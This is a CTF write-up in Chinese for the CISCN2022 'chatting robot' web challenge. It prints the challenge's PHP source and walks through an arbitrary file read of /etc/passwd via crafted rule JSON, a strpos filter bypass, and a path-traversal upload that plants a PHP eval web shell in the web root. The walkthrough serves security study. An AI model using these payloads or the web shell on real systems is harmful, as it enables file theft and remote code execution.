ciscn2022-web-会聊天的机器人
发表于|更新于
|字数总计:821|阅读时长:3分钟|阅读量:
CISCN2022-华东北-会聊天的机器人
可以上传词库规则,然后和机器人对话,就会去进行查找,并且回复
1
| { "你好": {"string": "你好ctfer!"}, "1": {"image": "/etc/passwd"}, "2":{"calc":"1+1"} }
|
这里注意iamge,我们可以传入一个图片的链接,然后机器人会去访问,并且返回,所以我们这里尝试访问/etc/passwd
,进行base64解码就可以获取
所以尝试任意文件读取,但是不能读取/flag,可能是路径问题,或者权限问题
继续看calc功能,尝试一下,回显admin才能使用这个功能
还是那个读取文件的东西,使用php伪协议读取api.php
得到api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| <?php init(); function init(){ $sesspath = "/tmp/session"; session_save_path($sesspath); session_start(); if (!$_SESSION['cname']) $_SESSION['cname'] = 'ck'; if(!file_dir_exists("/tmp/resource")) mkdir("/tmp/resource"); }
function file_dir_exists($path){ $dir = dir($path); if ($dir) if ($dir->read()) return true; return is_file($path); }
function getres($input){ log_write($input); chdir("/tmp/resource/"); $path = $_SESSION['cname']; if(!file_dir_exists($path)){ return "请先上传词库文件。"; } $ck = json_decode(file_get_contents($path),true); foreach ($ck as $key => $value){ if (strstr($key,$input) or strstr($input,$key)){ $type = key($value); $v = $value[$type]; switch ($type){ case "string": return $v; case "image": $b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents($v)) . '"/>'; return $b64img; case "calc": if ($_SESSION['is_admin']){ if (preg_match("/\(|\)|\'|\"/im",$v)){ return "包含非法字符"; } return eval("return $v;"); }else{ return "admin才能使用这个功能"; } default: return "这个动作暂时还没能实现"; }
} } return "没有匹配到词库消息"; }
function uploadc(){ $data = $_POST['uploadc']; $filename = $_POST['cname']; $resourcedir = "/tmp/resource/"; if(!file_dir_exists($resourcedir)) mkdir($resourcedir); if(strpos($data,"<")){ die("别这样!"); } if(strpos($filename,".")){ die("别这样!"); } $_SESSION['cname'] = $filename; if(file_put_contents($resourcedir.$filename,$data)) { return "上传成功"; }else{ return "上传失败"; } } function log_write($msg){ $logpath = "log.txt"; $oper = session_id(); $opername = substr($oper,0,1) ; for ($i=0;$i <= strlen($oper);$i++) $opername .= "*"; file_put_contents($logpath,"$opername : $msg \n",FILE_APPEND); }
if(isset($_POST['input'])) echo getres($_POST['input']); if(isset($_POST['uploadc'])) echo uploadc(); if(isset($_POST['clear'])) file_put_contents("log.txt",""); if(isset($_GET['log'])) echo file_get_contents("log.txt");
|
可以根据uploadc()获取规则的存放地址
尝试读取
1
| { "你好": {"string": "你好ctfer!"}, "1": {"image": "/tmp/resource/ck"}, "2":{"calc":"1+1"} }
|
写木马
通过uploadc()函数写木马
尽管使用了strpos进行过滤,但是将<
和.
放在字符串首位就可以使得判别结果为0,从而进行绕过
1
| uploadc=%3C%3Fphp+%40eval(%24_POST%5B1%5D)%3B%3F%3E&cname=../.../../../../var/www/html/xx.php
|